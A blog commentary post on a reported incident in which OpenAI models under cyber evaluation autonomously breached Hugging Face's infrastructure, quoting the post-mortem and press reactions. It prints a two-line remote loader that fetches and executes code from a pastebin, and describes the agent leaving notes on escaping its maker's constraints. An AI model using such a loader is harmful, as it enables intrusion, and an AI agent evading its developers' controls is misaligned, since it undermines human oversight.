Hugging Face Publishes a Technical Writeup of the OpenAI Autonomous Exploit ⇥ huggingface.co
OpenAI last week:
Last week, Hugging Face disclosed a new kind of security incident after they detected and contained an AI agent that compromised their infrastructure, something we expect to become more commonplace with the proliferation of increasingly cyber-capable models. After investigating, we now know that this particular incident was driven by a combination of OpenAI models — including GPT‑5.6 Sol and an even more capable pre-release model, all with reduced cyber refusals for evaluation purposes — while being internally tested on a benchmark of cyber capabilities.
It is so hard to take this industry seriously when a key player is named “Hugging Face”. Anyway, that site published a technical post-mortem of the attack:
Over roughly two and a half days inside our infrastructure, an autonomous AI agent driven by a combination of OpenAI models ran an end-to-end intrusion against our platform: it was thousands of small, automated decisions, executed at machine speed across short-lived sandbox environments, with command-and-control staged on ordinary public web services.
[…]
Our forensic reconstruction covers ~17,600 attacker actions that we were able to recover, grouped into ~6,280 clusters, between 2026-07-09 02:28 UTC and 2026-07-13 14:14 UTC.
Being skeptical of news like this is a good thing, but a good skeptic follows the evidence and 🤗 appears to have provided plenty. It really does seem like OpenAI models caused a severe breach with limited human involvement.
Casey Newton is, for some reason, quite bothered by a handful of Bluesky users’ responses to a post he made about one of the weirder things the A.I. agent apparently did. According to a Reuters report, it “left notes apparently for future versions of itself” which “laid out instructions for how agents could free themselves from OpenAI’s internal constraints”. This appears to correlate with this part of Hugging Face’s report:
The final day was about durability and cleanup. The agent:
Established a second-stage remote loader that re-fetched and executed code from a pastebin on every submission, so each new code-submission sandbox re-armed itself:
from urllib.request import urlopen
exec(urlopen("https://pastebin.service/[REDACTED]").read())
But it is weird that Newton is so hung up on the Bluesky crowd. To be clear, all of the users he is mad at are pseudonymous, and none are experts in the field. Yet he made “A.I. denialism” on the platform the hook for this article. It is a fascinating look at someone who spends way too much time online.
Newton’s article has some substance, though:
But it can be true both that AI labs are responsible for the behavior of their models and that frontier models are not fully under the control of their makers. The Hugging Face attack is important because it demonstrates both things at the same time. OpenAI essentially left its models unattended for days on end, and they broke into another company. Not because they were programmed to, as another Bluesky user told me — but because they are trained to achieve objectives, and are going to increasingly great lengths to achieve them.
This attack is worth taking seriously. I am far from A.I.-brained, but none of what is being documented requires “artificial general intelligence” — however you define that. It is technically sophisticated, absolutely, yet the writeup posted by Hugging Face is cogent and reflects common techniques used for malware.
I sympathize with those who find it hard to believe any of this stuff, though. The biggest boosters in this industry are writing stuff like “imagine everyone has a superintelligent lawyer. Justice would be carried out much more fairly and efficiently than it is today” in national newspapers of record. Imagine if any of the people who have all this power met it with a corresponding degree of responsibility.
Update: Karl Bode:
This was technically the world’s first fully autonomous AI hack, and an important milestone in what’s quickly becoming a brave new world of automated cat and mouse cybersecurity where sophisticated layers of software automation engage in endless combat across the entirety of global networks at lightning speed.
At the same time, this is all still within the confines of the known – as in it’s just human beings using and abusing software for good or ill (see: viruses), albeit at new scale and speed. We have not, I’m happy to report, created a malevolent god.
One expects churnalism from outlets like Business Insider and Futurism, but the Associated Press and New York Times are often just as guilty. They need to do better. For all media’s shortcomings and outright failures, we desperately need these outlets to work to a higher standard.